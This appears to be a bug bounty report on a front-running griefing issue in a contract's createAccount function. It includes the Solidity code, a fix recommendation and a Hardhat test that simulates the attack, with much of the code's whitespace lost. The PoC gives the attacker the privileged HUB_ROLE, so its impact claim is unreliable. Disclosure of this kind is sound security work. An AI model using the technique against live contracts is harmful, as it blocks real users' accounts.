Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
The createAccount method in the protocol's contract is vulnerable to a front-running attack. A malicious user can exploit this by observing a pending transaction and submitting their own transaction with the same accountId but with a higher gasPrice, causing the victim's transaction to be reverted due to the account ID already being in use.
Vulnerability Details
The createAccount function currently checks if an accountID is already created and reverts the transaction if it is. However, this implementation allows a malicious user to front-run a legitimate user's account creation request by submitting a transaction with the same accountId but with a higher gasPrice. This results in the attacker's transaction being processed first, and the legitimate user's transaction being reverted due to the account ID collision.
The relevant code snippet from the createAccount method is:
contractAccountManagerisIAccountManager, AccessControlDefaultAdminRules {/// @notice Mapping of accounts to whether they are createdmapping(bytes32 accountId =>bool isCreated) internal accounts;/// @notice Mapping of account to addresses on spoke chains which will/are/have been able to manage the accountmapping(bytes32 accountId =>mapping(uint16 chainId => AccountAddress)) internal accountAddresses;/// @notice Mapping of addresses on spoke chains to the accountId they are registered tomapping(bytes32 addr =>mapping(uint16 chainId =>bytes32 accountId)) internal registeredAddresses;/// @notice Mapping of account to addresses on hub chain which are permitted to manage the accountmapping(bytes32 accountId =>mapping(address=>bool isDelegated)) internal accountDelegatedAddresses; ...functioncreateAccount(bytes32 accountId,uint16 chainId,bytes32 addr,bytes32 refAccountId ) externaloverrideonlyRole(HUB_ROLE) {// check account is not already created (empty is reserved for admin)if (isAccountCreated(accountId) || accountId ==bytes32(0)) revertAccountAlreadyCreated(accountId);// check address is not already registeredif (isAddressRegistered(chainId, addr)) revertAddressPreviouslyRegistered(chainId, addr);// check referrer is well definedif (!(isAccountCreated(refAccountId) || refAccountId ==bytes32(0)))revertInvalidReferrerAccount(refAccountId);// create account accounts[accountId] =true; accountAddresses[accountId][chainId] =AccountAddress({ addr: addr, invited:false, registered:true }); registeredAddresses[addr][chainId] = accountId;emitCreateAccount(accountId, chainId, addr, refAccountId); } ...functionisAccountCreated(bytes32 accountId) publicviewoverridereturns (bool) {return accounts[accountId]; }}
Impact Details
This vulnerability can be exploited by a malicious user to prevent legitimate users from creating new accounts on the protocol. By continuously front-running transactions, an attacker could effectively block all new account creation attempts, causing significant disruption to the protocol's user base.
Recommendation
To mitigate this vulnerability, it is recommended to generate the accountId using a seed provided by the user and the sender's address. This can be achieved by hashing the seed and the address together, preventing attackers from predicting or replicating the accountId.
The following test simulates a front-running attack. The attacker submits a transaction with a higher gas price, causing the legitimate user's transaction to be reverted.
Add the code to the test\hub\AccountManager.test.ts
describe("CreateAccount Front-Running", () => { it("Chista0x-Front-Running-CreateAccount Should fail to create account when account id already in use", async () => {
const { hub,unusedUsers,accountManager,spokeChainId,refAccountId } =awaitloadFixture(createAccountFixture);constvictim_Addr=convertEVMAddressToGenericAddress(unusedUsers[0].address);constattacker_Addr=convertEVMAddressToGenericAddress(unusedUsers[1].address);// Just for change nonce that simulate front-runningawaitaccountManager.grantRole(HUB_ROLE, unusedUsers[0]);awaitaccountManager.grantRole(HUB_ROLE, unusedUsers[1]);constaccountId_Same:string=getAccountIdBytes("ACCOUNT_ID_Same");expect(awaitaccountManager.isAccountCreated(accountId_Same)).to.be.false;// set the mining behavior to false, so the transaction will be collected in the mempool, before finalizationawaitnetwork.provider.send("evm_setAutomine", [false]);// Victim made the transaction for create account with new account idconstcreateAccount_victim=awaitaccountManager.connect(unusedUsers[0]).createAccount(accountId_Same, spokeChainId, victim_Addr, refAccountId, { gasLimit:500000, gasPrice:ethers.parseUnits("100","gwei") });console.log("Victim TX Hash = ",createAccount_victim.hash);// attacker create front-running for victim transaction with same accountId (send trx with higher gasPrice)constcreateAccount_attacker=awaitaccountManager.connect(unusedUsers[1]).createAccount(accountId_Same, spokeChainId, attacker_Addr, refAccountId, { gasLimit:500000, gasPrice:ethers.parseUnits("101","gwei") });console.log("Attacker TX Hash = ",createAccount_attacker.hash);constpendingBlock=awaitnetwork.provider.send("eth_getBlockByNumber", ["pending",false, ]);console.log("\n Pending Transactions = ",pendingBlock.transactions);// Manually create a block with the pending transactionsawaitnetwork.provider.send("evm_mine", []);// verify account is createdexpect(awaitaccountManager.isAccountCreated(accountId_Same)).to.be.true;expect(createAccount_attacker) .to.emit(accountManager,"CreateAccount").withArgs(accountId_Same, spokeChainId, attacker_Addr, refAccountId);expect(createAccount_victim) .to.be.revertedWithCustomError(accountManager,"AccountAlreadyCreated") .withArgs(accountId_Same); expect(await accountManager.isAddressRegisteredToAccount(accountId_Same, spokeChainId, attacker_Addr)).to.be.true; // true
expect(await accountManager.isAddressRegisteredToAccount(accountId_Same, spokeChainId, victim_Addr)).to.be.false; // false
}); });